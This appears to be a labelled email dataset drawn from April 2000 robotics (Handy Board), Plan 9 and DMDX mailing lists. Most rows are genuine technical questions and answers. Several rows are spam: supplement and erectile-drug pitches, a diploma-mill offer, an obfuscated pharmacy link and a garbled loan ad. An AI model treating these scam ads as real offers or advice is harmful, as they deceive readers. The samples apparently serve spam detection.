be 4) robot with stepping motors. Servos are a little big and costly for me, and I found some pretty small bipolar stepping motors at a lower cost ($1.25 each, I think). And I haven't found a way to get them to work at this moment... :-p If anyone knows any good web site on bipolar stepping motor and program code and circuitry and stuff, let me know! I have been looking around already. :-) PIC, 6811, 486 are all different architecture processors. I think, technically, PIC, 6811are called microcontroller or MCU (right??). PIC and 6811are not as powerful and as fast 486, etc. But for our purpose, they will do many things. As for books, here are a few... I like them because they structure like the Computer Science textbooks I have used in the past (or else, all programming books are structured the same)... Title: Software and Hardware Engineering: Motorola M68HC11 Author: Fredrick M. Cady Title: The M68HC11 Microcontroller: applications in control, instrumentation and communication Author: Michael Kheir Title: Design with PIC microcontrollers Author: John B. Peatman. Mobile Robots : Inspiration to Implementation is a good book. Most of the stuff you learn can apply to Handyboard (go figure!) and other robots. You can use the book as a roadmap to build other robots. I bought the Handyboard after reading this book. I haven't read the others though... To answer your question on Programming Microcontroller Boards... I don't really know. (Anyone with good answers???) Some books are structure around a particular MCU and programmer. The idea or programming scheme are pretty much the same for all. For example, they all use assembly language. If you learn one, you can learn others since they are very similar. As for learning how to program HandyBoard.... the documentation from the MIT web site are, I think, enough. If you know C, then you just need to learn how to ""use"" IC, and etc. Prof. Fred Martin posts LOTS of stuff, and so far, I haven't ran out of ""resources"" on his page yet. Just remember that you can program PIC or 6811 or handyboard using IC and build a robot out of them. Use them wisely and you can build LOTS of stuff. As for robot football, I can't say much on that. If I were to go into this right now, I will go with PC/104 (www.pc104.org) and run Linux on it, and use the I/O port for controlling motors and sensors... I think PC/104 is a little more powerful and flexible (in terms of programming since you run Linux, and therefore you can program in LISP or C++ anyway you want). Sorry, I know I am not helping much here. As for Handyboard, all you need is the board, and a PC. You need to ""build your sensors and motors"" and then the ""robot"" and you are ready to go. For me, I need less then $300 to get start. You can do a lot of ""learning"" with it already! I take this route because there are many people as resources on the web. I hope this helps... Good Luck! -- Ray Du Toit, Francois (SEB IS FDP Developers) wrote in message news:3BB72A8E4EE2D2119F2D0008C728E7900438F235@yebctnxg001.sanlam.co.za... I have read od a newsgroup of robotics that you have build a robot with the Handy Board with a PIC. What advcie can you give me . I have to start from scrath . What I need to buy Handy Board + (what componets+tools??) to build a soccer player ect..?? I do not have any electrical hobby material or books or hardware or tools. I'm a programmer so I do now about programming. What is difference between PIC and 6811. Is 6811 just a number of a processor like intel 486+pentium ect.. differ by name and architecture?? OR is PIC and 6811 different kind of components?? I'm from South Africa and for me to buy these kits or boards I have to buy through internet. It will also cost me 7 times the price you will pay. As I'm new to this and I don't have lots of money to spend and then just to realize the package is to limited to expand or used in futre advanced techniques. I'm intersted in learning from scratch as well as have a board that can exapnd when I'm a more advanced user/programmer of the PIC. Which of the boards are best to start with and are most expandable?? Can I build a Soccer player with Handy Board ?? or must I buy lots of additional componets to do the same thing with Handy How much one will spend on componets to build a SportKit?? ect.. How does the processor from the different above boards compare ?? Which have the most power and programmability?? I have some other questions as well. I have seen books publisehed how to program the PIC ?? Does that mean it's related to any microcontroller boards in general or only ones from MICROCHIP and related ones?? If I learn to program a handy board- 6270 can one use below books on these boards too?? The books seems very good all titles I have read on site HVW electrical http://www.hvwtech.com/books.htm#micros Title: PIC'n Up The Pace (PIC 16/17 Microcontroller Application Guide) Author: David Benson Title: PIC'n Techniques"") is an intermediate level applications guide covering Microchip Technology's PIC microcontrollers. The book describes the unique features of the 8-pin microcontrollers. Author: David Benson Serial PIC'n"" ) is a comprehensive book which details various methods for implementing serial communications between a Microchip PIC microcontroller and an external device By Roger Stevens Programming, Interfacing, and Using the PC's Parallel Printer Port by Jan Axelson Mobile Robots : Inspiration to Implementation by Joseph J. Jones, Bruce A. Seiger, Anita M. Flynn. 457 pp. Softcover ISBN 1-56881-097-0 How does Fred of MIT books(""6.270 robot builder's guide""., ) differ from above or where are the similarities?? I aprrecaite your sound advice and time for answering my email.. Thanks from Francois A du Toit",0,1 Ray Tang ,handyboard@media.mit.edu,"Sat, 15 Apr 2000 03:32:47 +0000",Re: About HAndy board and PIC ... one more,"Oh, here is something more about my robot. I am programming the PIC to run the legs, so I can take to load off the handyboard. I will still use the handyboard since I like IC. But to have the Handyboard to run that many servos or stepper motors are just too much load... well, that's all I have to say. Best of luck! -- Ray Du Toit, Francois (SEB IS FDP Developers) wrote in message news:3BB72A8E4EE2D2119F2D0008C728E7900438F235@yebctnxg001.sanlam.co.za... I have read od a newsgroup of robotics that you have build a robot with the Handy Board with a PIC. What advcie can you give me . I have to start from scrath . What I need to buy Handy Board + (what componets+tools??) to build a soccer player ect..?? I do not have any electrical hobby material or books or hardware or tools. I'm a programmer so I do now about programming. What is difference between PIC and 6811. Is 6811 just a number of a processor like intel 486+pentium ect.. differ by name and architecture?? OR is PIC and 6811 different kind of components?? I'm from South Africa and for me to buy these kits or boards I have to buy through internet. It will also cost me 7 times the price you will pay. As I'm new to this and I don't have lots of money to spend and then just to realize the package is to limited to expand or used in futre advanced techniques. I'm intersted in learning from scratch as well as have a board that can exapnd when I'm a more advanced user/programmer of the PIC. Which of the boards are best to start with and are most expandable?? Can I build a Soccer player with Handy Board ?? or must I buy lots of additional componets to do the same thing with Handy How much one will spend on componets to build a SportKit?? ect.. How does the processor from the different above boards compare ?? Which have the most power and programmability?? I have some other questions as well. I have seen books publisehed how to program the PIC ?? Does that mean it's related to any microcontroller boards in general or only ones from MICROCHIP and related ones?? If I learn to program a handy board- 6270 can one use below books on these boards too?? The books seems very good all titles I have read on site HVW electrical http://www.hvwtech.com/books.htm#micros Title: PIC'n Up The Pace (PIC 16/17 Microcontroller Application Guide) Author: David Benson Title: PIC'n Techniques"") is an intermediate level applications guide covering Microchip Technology's PIC microcontrollers. The book describes the unique features of the 8-pin microcontrollers. Author: David Benson Serial PIC'n"" ) is a comprehensive book which details various methods for implementing serial communications between a Microchip PIC microcontroller and an external device By Roger Stevens Programming, Interfacing, and Using the PC's Parallel Printer Port by Jan Axelson Mobile Robots : Inspiration to Implementation by Joseph J. Jones, Bruce A. Seiger, Anita M. Flynn. 457 pp. Softcover ISBN 1-56881-097-0 How does Fred of MIT books(""6.270 robot builder's guide""., ) differ from above or where are the similarities?? I aprrecaite your sound advice and time for answering my email.. Thanks from Francois A du Toit",0,1 Ray Tang ,handyboard@media.mit.edu,"Sat, 15 Apr 2000 03:36:24 +0000",Re: About HAndy board and PIC... last one,"Oh, one more thing. I got my Handyboard from Patrick Hui/The Robot Store at Hong Kong. http://www.robotstorehk.com/ It is a little cheaper than Gleason Research. Ok, I will say no more.... -- Ray Du Toit, Francois (SEB IS FDP Developers) wrote in message news:3BB72A8E4EE2D2119F2D0008C728E7900438F235@yebctnxg001.sanlam.co.za... I have read od a newsgroup of robotics that you have build a robot with the Handy Board with a PIC. What advcie can you give me . I have to start from scrath . What I need to buy Handy Board + (what componets+tools??) to build a soccer player ect..?? I do not have any electrical hobby material or books or hardware or tools. I'm a programmer so I do now about programming. What is difference between PIC and 6811. Is 6811 just a number of a processor like intel 486+pentium ect.. differ by name and architecture?? OR is PIC and 6811 different kind of components?? I'm from South Africa and for me to buy these kits or boards I have to buy through internet. It will also cost me 7 times the price you will pay. As I'm new to this and I don't have lots of money to spend and then just to realize the package is to limited to expand or used in futre advanced techniques. I'm intersted in learning from scratch as well as have a board that can exapnd when I'm a more advanced user/programmer of the PIC. Which of the boards are best to start with and are most expandable?? Can I build a Soccer player with Handy Board ?? or must I buy lots of additional componets to do the same thing with Handy How much one will spend on componets to build a SportKit?? ect.. How does the processor from the different above boards compare ?? Which have the most power and programmability?? I have some other questions as well. I have seen books publisehed how to program the PIC ?? Does that mean it's related to any microcontroller boards in general or only ones from MICROCHIP and related ones?? If I learn to program a handy board- 6270 can one use below books on these boards too?? The books seems very good all titles I have read on site HVW electrical http://www.hvwtech.com/books.htm#micros Title: PIC'n Up The Pace (PIC 16/17 Microcontroller Application Guide) Author: David Benson Title: PIC'n Techniques"") is an intermediate level applications guide covering Microchip Technology's PIC microcontrollers. The book describes the unique features of the 8-pin microcontrollers. Author: David Benson Serial PIC'n"" ) is a comprehensive book which details various methods for implementing serial communications between a Microchip PIC microcontroller and an external device By Roger Stevens Programming, Interfacing, and Using the PC's Parallel Printer Port by Jan Axelson Mobile Robots : Inspiration to Implementation by Joseph J. Jones, Bruce A. Seiger, Anita M. Flynn. 457 pp. Softcover ISBN 1-56881-097-0 How does Fred of MIT books(""6.270 robot builder's guide""., ) differ from above or where are the similarities?? I aprrecaite your sound advice and time for answering my email.. Thanks from Francois A du Toit",0,1 Ray Tang ,handyboard@media.mit.edu,"Sat, 15 Apr 2000 03:42:56 +0000",Re: Battery Charging Question,"Thanks for the tip. I think you are right. I got a NiMH catalogue from Panasonic and it makes some of the same recommendation such as charge rate, etc. It is much like NiCD if you charge the battery ""watching the clock"". I am planning on building a charger myself using the charger chip from MAXIM. The MAX712/MAX713 looks very easy to use.... :-p It does all the voltage drop detection and stuff... If I get it to work, I'll let you know. (or if you guys really don't care about such things????) -- Ray Dennis Clark wrote in message news:Fs7vHr.JFF@lugnet.com... > > It is basically charged the same way and has all of the faults of he NiCd > (voltage depression, etc.) but while it has a higher average capacity, it does > not have as much current delivery (higher internal resistance.) The cells peak > charge in a similar manner, but the delta drop-off when charged is less > obvious. I don't know much about these cells beyond that. I suppose I will > need to read up on them soon... > > I recommend, again, a good peak charger for best battery health. Two chargers > I know will deal with them, the Novak Millenium and (I think) the Tekin BC112. > Neither of these are cheap though (>$100). Others may have lower cost ones, > but I don't know them. > > have fun, > DLC",0,0 George Musser Jr ,handyboard@media.mit.edu,"Sat, 15 Apr 2000 11:36:11 -0400",How to change the baud rate of Interactive C,"Interactive C communicates with the 68HC11 at 9600 baud, but if you'd like to change that -- say, to maintain interactivity over a slow RF link -- it is easy to hack the software, at least in Mac version 3.1. I'm indebted to Randy Sargent who sent me the C code for the relevant routine, io_serial_init(). I was able to find the binary code using ResEdit. The pcode also needs to be changed. In ResEdit, open up the CODE resource and then the second block, ID=2. Location 0x16D2 should read 0x6724, which is the branch corresponding to the C code for switch/case 9600. Change this value to 0x6718 for 1200 baud and 0x6712 for 600 baud. In principle, a value of 0x670C would allow 300-baud operation For 150 baud, you would also change the time constant for 300 baud, which is located at address 0x16E2, from 0x017C to 0x02FE. (The time constant for 150 baud does not appear anywhere in the Mac development environment, but this should be the correct value according to the data sheet for the Zilog serial chip.) I say ""in principle"" because whenever I try 300 baud or 150 baud, IC crashes, which is a pity because the slow speed is useful for unpacketized RF links. If someone can figure out why, please let me know. The next step is to hack the pcode. Search for the following hex sequence: 0x1D 28 20 86 B0. The value 0xB0 is the time constant for the 68HC11's UART. Change it to 0xB3 for 1200 baud, 0xB4 for 600 baud, 0xB5 for 300 baud, and 0xB6 for 150 baud. There is one twist to all this. The baud rate of the pcode downloader is fixed by the 68HC11 hardware. So you need to load the new pcode using an unhacked version of IC and then switch to the hacked version for interactive operation. I'd be curious to hear about your experience with this, so please let me know what happens! George Musser georgejr@musser.com ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Angel ,9fans@cse.psu.edu,"Sat, 15 Apr 2000 16:35:55 +0300",increase seman Angel,"Hi, em..... I gotta tell you something. Some years ago I used to watch porno often. I always admired those guys cumming. They splashed out so much sperm on their girls, it looked so cool, so manlike. Now I have a girlfriend.. but quantity of my sperm was so scanty, that I felt ill at ease. I was advised to eat green apples but even this didn't help. A month ago I was hanging around at the bar with my best friend. And he said that I should try MAX LOADS. Well, - I thought, - sounds interesting. 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However, I suspect that the same problem I'm experiencing would happen on my Handy Board if eviscerated one of my other robots and tried it. Continuing..... I am running a program in IC ver 3.2. It is fairly large, taking up 11,100 bytes of program space, according to the interaction screen, which includes libraries and everything. I also have two, two dimensional arrays of 15 x 40 each. What happens is this: When declaring global variables, if I try to initialize them (to a constant value) as I declare them, they will not initialize. I can set them later, and they stick, but not at reset. With smaller programs, IC works as advertised. For example, this will work with small programs, but not large ones: int some_handy_global_variable = 10; The above will initialize to 0 in my program. Anyone have this problem? By the way, Fred, I think I got knocked off the mail list. Can you put me back on please? I'll behave this time. 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Martin"" ",glivick@pacbell.net,"Sun, 16 Apr 2000 05:03:14 -0400",Re: handy board troubles... ,"gary -- it's an interesting bug. as you say you've got two 2-dim arrays, i can surmise that you're using Newton Lab's version of IC. In which case, they'd be the ones to address this problem. re: mailing list, it's now administered through LUGNET. please see enclosed. fred The Handy Board list is now part of LUGNET, the LEGO Users' Group Network. To register for the list, first create a mail account at LUGNET, by going to: http://www.lugnet.com/news/mail/setup/ You'll be sent a confirmation code by Todd Lehman of LUGNET. When you get the confirmation code, go back to the setup page and enter it. Then, go to: http://www.lugnet.com/news/mail/?ng=lugnet.robotics.handyboard which will subscribe you for delivery of the Handy Board list. Thanks for your interest in the Handy Board! Fred In your message you said: > This isn't technically a Handy Board problem as my code is being run on > a Rug Warrior look-alike. However, I suspect that the same problem I'm > experiencing would happen on my Handy Board if eviscerated one of my > other robots and tried it. > > Continuing..... I am running a program in IC ver 3.2. It is fairly > large, taking up 11,100 bytes of program space, according to the > interaction screen, which includes libraries and everything. I also > have two, two dimensional arrays of 15 x 40 each. What happens is > this: When declaring global variables, if I try to initialize them (to > a constant value) as I declare them, they will not initialize. I can > set them later, and they stick, but not at reset. With smaller > programs, IC works as advertised. For example, this will work with > small programs, but not large ones: > > int some_handy_global_variable = 10; > > The above will initialize to 0 in my program. > > Anyone have this problem? > > By the way, Fred, I think I got knocked off the mail list. Can you put > me back on please? I'll behave this time. > > > Gary Livick > Tiny HC11 products for your robot > http://www.teleport.com/~raybutts/ > > ",0,1 Jennifer Johnson ,DMDX@psy1.psych.arizona.edu,"Sun, 16 Apr 2000 11:49:10 -0700",[DMDX] Re: Missing line number,"As another novice DMDX user, I'll attempt to answer your question. (Jonathan: I do expect you to speak up if I give any misinformation) I don't use scrambling much, but I think that when you want to tell DMDX that a line is not to be scrambled, you need to use a $ before and after the line. Your example doesn't have a final $ at the end. (you also might not need the < > ) Try this: $ 0 ""Welcome to this experiment"" $ Just a note: I tried to verify my advice by looking through the DMDX help, keywords, etc., but couldn't easily find any documentation for the proper usage of the $. I expected to find it with the scramble parameters. (I actually found the answer from notes in my lab book from a meeting with an experienced Dmaster user in the spring of '98.) Good luck, Jen At 08:08 PM 4/13/2000 -0500, you wrote: >Hi, > >I keep receiving the following message in DMDX: > Missing line number <$0 ""Welcome to this experiment""> > >I have determined that the $ symbol is the culprit (when removed the file >runs just fine). However, I can not find a $ symbol that DMDX will read. >I have tried a number of different fonts, I have re-typed the file, I have >copied $ symbols that I've written as .doc or in WordPad, and I continue to >receive the same message. Does anyone have any suggestions? > >Thanks. >Louise Neary >UIUC > >--------------------------------------------- >Ms. L. Neary >Coordinator, Spanish 160 >Department of Spanish, Italian and Portuguese >--------------------------------------------- > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > >",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 16 Apr 2000 12:12:15 -0700",[DMDX] Re: Missing line number,"At 11:49 AM 4/16/00 -0700, you wrote: >Just a note: I tried to verify my advice by looking through the >DMDX help, keywords, etc., but couldn't easily find any documentation >for the proper usage of the $. I expected to find it with the scramble >parameters. (I actually found the answer from notes in my lab book >from a meeting with an experienced Dmaster user in the spring of '98.) There is no DMDX scrambling documentation per se, I guess I should paste the DMTG and DM scrambling documentation in there one day. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Never call a man a fool; borrow from him. ",0,0 Hawk ,9fans@cse.psu.edu,"Mon, 17 Apr 2000 08:46:07 +0000",[9fans] Has Plan 9 a GUI?,"I'm doing a research about OS'GUI, and I'd like to know if Plan 9 has a GUI. If so, where can I take some screenshoots? Thanks in advance ",0,0 Vianney Lecroart ,9fans@cse.psu.edu,"Mon, 17 Apr 2000 10:48:04 +0000",[9fans] plan9 and revo,"is it possible to imagine to port plan9 (what is the difference with inferno) for psion revo ? -- -- Vianney ""Ace"" Lecroart ------------------------------------ www: http://ace.planet-d.net icq: 6870415 geek (www.geekcode.com): GCS/E d- s+++: a-- C+++$ UL++ P- L+++>+$ E+>- W++ N+ o? K- w++$ O- M- V- PS- PE? Y PGP t 5? X+ R- tv++ b- DI D+ G e++ h+ r-- y? ",0,1 forsyth@vitanuova.com,9fans@cse.psu.edu,"Mon, 17 Apr 2000 12:56:24 -0000",Re: [9fans] plan9 and revo,">>is it possible to imagine to port plan9 (what is the difference with >>inferno) for psion revo ? you could certainly imagine it. there is a strongarm compiler suite (if that's what revo uses), for instance. is all the information about the hardware available? that's the usual show stopper. plan9 and inferno are closely related in many ways, but there are big differences: best to regard them as different systems. to be more helpful: if you can port one, porting the other is not too hard because the device driver interface and kernel infrastructures are broadly similar (although there has undoubtedly been divergence). inferno already has useful kernel and JIT support for certain strongarm implementations, which plan9 (i believe) currently does not. then again, if you're mainly interested in running C programs, or porting Ansi/Posix applications (cf. APE), Inferno won't be much help. ",0,0 presotto@plan9.bell-labs.com,9fans@cse.psu.edu,"Mon, 17 Apr 2000 10:25:09 -0400",Re: [9fans] Has Plan 9 a GUI?,"You can wait a few months for a new release. The initial download has the GUI in it. ",0,0 Lo Veng Cheong ,handyboard@media.mit.edu,"Mon, 17 Apr 2000 16:16:31 +0000",problems met in my project,"Dear Sir, I am a student who is doing a mobile robot project. Since I am really a freshman in Robotics. So, I would like to ask you to help me to solve some problems met in my project. Please forgive me if my questions are too simple! My aim for the robot is to make a mobile robot with a manipulutor. The mobile robot can run autonomously around a room and avoid obstacles during moving. Then, if it meet its target object during its path, it can notice the postion of the object and pick it up. Then, it carries it to the target preset distination. I have built the mobile platform by using the lynxmotion's first step kit which consists the basic stamp one controller. Also, I use the IRPD detector module of Lynxmotion for the obstacle avoiding. But since the program momery of the basic stamp one is too small for containing the platform and the manipulator together. So, I am going to change to use the handyboard from MIT Lab. And now, my problem is that I have no idea on how the robot can identify the target objects. I do haven't any basic concept on that. Can you please first teach me so basic knowledge on object identification first. Thank you very much! Raymond Law ",0,0 Joe Kopena ,handyboard@media.mit.edu,"Mon, 17 Apr 2000 16:26:21 +0000",Re: Sonar Pictures?,">On Fri, 14 Apr 2000, Joe Kopena wrote: >> Does anyone have pictures of their sonar assembly online that I could look at, >> just to make sure everything is where it should be? My sonar is still Thank you to everyone who sent me a link to a picture of a completed sonar assembly, they've been very helpful even though I still can't get it to work :( As such, I still have questions, but for now this is the only one: - Does it matter which line (E1 and E2) from the module goes to which contact on the transducer? I've tried both ways and it doesn't seem to change anything, but I thought I'd check. Thx again everyone ",0,0 Tracie Link ,handyboard@media.mit.edu,"Mon, 17 Apr 2000 13:28:59 -0200",Regulates Blood Sugar ,"Summer is coming, did you look in the mirror lately? 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TIA David Young ",0,0 ����ġ�� ,handyboard@media.mit.edu,"Mon, 26 Dec 1932 04:15:41 +0000",��0.6�ۼ�Ʈ�� ������^���ؼ� �ְ� ����������,������ ������   MAGIC  LOAN   ������������ ����  ������ �� ������ ������ ���� ���� �������� ���������� ���� �������� ���� ���� ������ ���������� ������,1,1 Rachel Mycroft ,DMDX@psy1.psych.arizona.edu,"Tue, 18 Apr 2000 16:03:00 +0100",[DMDX],"A while ago, Matt Davis talked about using the line keyword to present multiple lines of text: 0 ""Hello"", ""World""; I can get this to work fine, but I can't get DMDX to do the same thing for my experimental items. I want to present two words, one above the other. Of course, I could create loads of bitmaps, but it would be much simpler if I could just specify what I want in an .rtf file. The script I have been trying to use is the following: +1 "" ""/ ""+""/ * ""beg"", ""leg"" ; I get an error message saying 'No media File Name' which I don't get when I leave out the line keywords. Does anyone have any suggestions? Thank you. Rachel ---------------------- Rachel Mycroft University of Exeter",0,0 Matt Davis ,DMDX@psy1.psych.arizona.edu,"Tue, 18 Apr 2000 16:29:33 +0100",[DMDX] Re: ,"At 16:03 18/04/00 +0100, you wrote: >A while ago, Matt Davis talked about using the line keyword >to present multiple lines of text: > >0 ""Hello"", ""World""; > >I can get this to work fine, but I can't get DMDX to do the >same thing for my experimental items. I want to present >two words, one above the other. Of course, I could create >loads of bitmaps, but it would be much simpler if I could >just specify what I want in an .rtf file. > >The script I have been trying to use is the following: > >+1 "" ""/ ""+""/ * ""beg"", ""leg"" ; > >I get an error message saying 'No media File Name' which I >don't get when I leave out the line keywords. > >Does anyone have any suggestions? > I can't seem to replicate this problem. What version number of DMDX are you using? If you email me a copy of your rtf file, I'll try and figure it out and then post the solution to you and the list. Matt **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#621) Fax: 01223 359 062 ****************************************************",0,0 Rachel Mycroft ,DMDX@psy1.psych.arizona.edu,"Tue, 18 Apr 2000 17:01:29 +0100",[DMDX],"Just to say, the syntax I gave for this *is* correct. I've created a new file and it works fine now. I can't work out what was wrong with the old one since they say the same thing (don't know if it made a difference that I was trying it on a laptop). Thank you for your replies and sorry for the bother. Rachel ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 18 Apr 2000 09:40:16 -0700",[DMDX] Re: ,"At 05:01 PM 4/18/00 +0100, you wrote: >Just to say, the syntax I gave for this *is* correct. I've >created a new file and it works fine now. I can't work out >what was wrong with the old one since they say the >same thing (don't know if it made a difference that I was >trying it on a laptop). Thank you for your replies and >sorry for the bother. You probably had a missing quote somewhere in there and it was processing a G or an S of your text as if it was a graphic or sound command and then it never found the name of the file, hence it was unable to find the media name. The syntax check button is usually pretty good at showing you which item is the offending one. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Ships don't come in, they're built. - anon ",0,0 Ish Rattan ,9fans@cse.psu.edu,"Tue, 18 Apr 2000 11:52:45 -0400",[9fans] Video cards..," I found two old video PCI cards. 1. Tseng Labs et4000/w32p chip based (1995). Works only in 640x480x1 mode, aux/vga shows at 0xC0076=""Tseng Laboratories, Inc. 07/19/95 V8.00N"" 2. ATI Mach32 chip based (1994). Works only in 640x480x1 mode, aux/vga shows at 0xC0086=""ATI MACH32 BIOS, PIN 113-23000-108"" 0xC00D5=""VGAWONDER+BK3"" First one seems to give better display. Is there any to make any of these work in 1024x768x1 mode? - ishwar ",0,0 Vladimir Prokopic ,9fans@cse.psu.edu,"Tue, 18 Apr 2000 09:16:31 -0700",[9fans] mouse,"Hi The mouse is slow under 1024x768. How can I make it be faster? Thank's Vladimir __________________________________________________ Do You Yahoo!? Send online invitations with Yahoo! Invites. http://invites.yahoo.com ",0,1 Russ Cox ,9fans@cse.psu.edu,"Tue, 18 Apr 2000 12:33:01 -0400",Re: [9fans] mouse," The mouse is slow under 1024x768. How can I make it be faster? echo -n accelerated >/dev/mousectl echo -n res 3 >/dev/mousectl Russ ",0,0 forsyth@vitanuova.com,9fans@cse.psu.edu,"Tue, 18 Apr 2000 17:56:29 -0000",Re: [9fans] mouse,"echo accelerated >/dev/mousectl there are a few other options. ",0,0 """Trafalgar Q. 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Usually I see a 0% Error Rate when there is an RT and a 100% error rate when there is a timeout error, but I've also seen error rates of 3%, 5%, 6% etc and I don't know if that means I should throw out those items. Thank you. Louise Neary UIUC --------------------------------------------- Ms. L. Neary Coordinator, Spanish 160 Department of Spanish, Italian and Portuguese --------------------------------------------- ",0,0 Douglas ,9fans@cse.psu.edu,"Wed, 12 Mar 1997 16:25:09 -0100",Show your sweetheart how much you care Mitchell ,"There are 100's of websites to buy medication for Erectile Difficulties, but not for 1.56 cents a pill. We have some of the lowest pricing on the internet. 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Invites. http://invites.yahoo.com ",0,1 Tae ,handyboard@media.mit.edu,"Wed, 19 Apr 2000 19:32:46 -0400",sound generating questions,"hi, we have to generate a square wave for a pizeo buzzer, we would use the one on the handyboard, but this one has to be encased in a shell, which would only be unable to fit the handyboard. we tried just switching a digital out, on and off, and the sound we get is rather tiny, and not clear... if anyone has suggestions they would be welcome.... also, does anyone know of a really loud buzzer that could run through the outputs of the handyboard, since it will be encased in metal, it would be nice if the buzzer was audible. thanks. -Tae ",0,0 gvwilson@nevex.com,9fans@cse.psu.edu,"Wed, 19 Apr 2000 22:07:16 -0400",[9fans] re: license terms?,"Hello. I'm not a regular reader of this list, but would be grateful if someone could tell me what the license for the next release is going to be. Thanks, Greg Wilson http://www.software-carpentry.com ",0,1 rob pike ,9fans@cse.psu.edu,"Wed, 19 Apr 2000 22:45:03 -0400",Re: [9fans] re: license terms?,"I would be grateful if someone would tell ME what the license for the next release is going to be. One of the sticking points at the moment is legal. We're trying to do an open-source release, but only time and lawyers will tell us if that's the way it goes. Please do not lobby us on the issue; it is beyond our control, in the hands of corporate lawyers. -rob ",0,0 Jonathan Pennington ,handyboard@media.mit.edu,"Thu, 20 Apr 2000 04:51:27 +0000",New Servo Routines?,"Because I have an expansion board, I cannot use my hacked up servo motors together with unaltered motors. In order to stop the hacked servos, I have to call init_expbd_servos(0) which dis-allows use of the other ones. Does anyone have any asm code which separates the servo port of the Expansion Board? I'd try it myself, but I'm not an assembler coder (or a very good C coder honestly). I looked at the assembly code two days ago, and I am only now able to walk again :-) If no-one has done (or is willing to do) this, I'm willing to give it a shot, but it might be a very scary couple on months :-) -Jonathan ",0,0 Enlil Beshears ,handyboard@media.mit.edu,"Wed, 19 Apr 2000 19:59:10 -0700",Re: your CttALlS,"Hi C V P X L V A I A r a e I m A L o n v A b L I z a i G i I U a x t R e S M c ra A n http://www.teolocome.com borrowed from Dwalin. They were too large for him, and he looked rather comic. What his father Bungo would have thought of him, I darent think. His only comfort was he couldnt be mistaken for a dwarf, as he had no beard. They had not been riding very long when up came Gandalf very splendid on a white horse. He had brought a lot of pocket-handkerchiefs, and ",1,1 forsyth@caldo.demon.co.uk,9fans@cse.psu.edu,"Thu, 20 Apr 2000 08:45:56 -0000",Re: [9fans] dict,">>How are the dictionaries formated anyway? each has its own. dict uses a common index format (built using rc, awk and C) but a different access routine (if a common interface) for each dictionary. ",0,0 Vladimir Prokopic ,9fans@cse.psu.edu,"Thu, 20 Apr 2000 00:54:10 -0700",[9fans] PC DIST,"Hi The four floppies contain...Internet support...? (There is no ppp) Thanks __________________________________________________ Do You Yahoo!? Send online invitations with Yahoo! Invites. http://invites.yahoo.com ",0,1 Vladimir Prokopic ,9fans@cse.psu.edu,"Thu, 20 Apr 2000 01:06:10 -0700",Re: [9fans] re: license terms?,"Hi Is there a chance to make available more utilities with the PC DIST? (I really miss the man command...) You could put the binnaries somewhere for download. Thanks __________________________________________________ Do You Yahoo!? Send online invitations with Yahoo! Invites. http://invites.yahoo.com ",0,1 Vladimir Prokopic ,9fans@cse.psu.edu,"Thu, 20 Apr 2000 01:19:18 -0700",Re: [9fans] dict,"--- forsyth@caldo.demon.co.uk wrote: >>How are the dictionaries formated anyway? > each has its own. dict uses a common index > format (built using rc, awk and C)... Are those scripts available somewhere? Where can I find an example to build my on one dictionary to be used with dict. Thanks __________________________________________________ Do You Yahoo!? Send online invitations with Yahoo! Invites. http://invites.yahoo.com ",0,1 forsyth@caldo.demon.co.uk,9fans@cse.psu.edu,"Thu, 20 Apr 2000 09:38:51 -0000",Re: [9fans] dict,">>Are those scripts available somewhere? i can't answer that one! ",0,0 Tom Glinos ,9fans@cse.psu.edu,"Thu, 20 Apr 2000 08:26:09 -0400",Re: [9fans] re: license terms?,">it goes. Please do not lobby us on the issue; it is beyond our >control, in the hands of corporate lawyers. That's a bit of a cop out. Unless lawyers are running the company, managment makes those decisions, lawyers just execute. -- ================= The hardest thing to see | Tom Glinos @ U of Toronto Statistics is the way things REALLY are. | tg@utstat.toronto.edu ",0,0 """Russell J. Slaughter"" ",handyboard@media.mit.edu,"Thu, 20 Apr 2000 05:02:20 -0400",Want a degree? No classes needed," ***** Your future begins today **** Are you stuck in a job that is leading you on the path to no where? Do you wish you could better your financial situtation? No problem. We can help ! You can obtain a College Degree with NO EFFORT at all! This means no more stupid classes, books, and exams! You can reach us 24/7 for more information and we can help get on the right path! Call us anytime at (928)-496-2805 for more information. ",1,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 20 Apr 2000 09:26:47 -0700",[DMDX] Re: Error rates,"At 06:49 PM 4/19/00 -0500, you wrote: >Hi all, > >I am running a picture naming experiment using the VOX, and I think it's >working fine. (Thanks to all who got me to this point with DMDX!) > >My question is: what do the error rates mean? Usually I see a 0% Error >Rate when there is an RT and a 100% error rate when there is a timeout >error, but I've also seen error rates of 3%, 5%, 6% etc and I don't know if >that means I should throw out those items. Those are cumulative error rates, the ratio of correct responses to incorrect ones. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The proof of a system's value is its existence. ",0,0 presotto@plan9.bell-labs.com,9fans@cse.psu.edu,"Thu, 20 Apr 2000 09:35:54 -0400",Re: [9fans] re: license terms?,"You are entirely right. Sufficiently high management can make the lawyers do anything they want. Unfortunately, noone above the lower levels of research really cares one way or the other what happens to Plan 9. The lawyers, without pressure or coverage from someone with influence in the company, have a tendency to cover their own backsides. It's their genitals on the chopping block should they let out something that is later perceived as representing a major revenue loss for the company. It's our job to convince the higher ups and the lawyers that releasing plan 9 as free open source is in the company's best interest. This time around, Rob has spent the last six months lobbying up the management hierarchy and pushing on the lawyers. Other research management has been doing the same for other projects. It seems to be having results. Please don't flog a very tired horse. The hill is steep and the cart heavy. ",0,0 rob pike ,9fans@cse.psu.edu,"Thu, 20 Apr 2000 09:45:22 -0400",Re: [9fans] re: license terms?,"> That's a bit of a 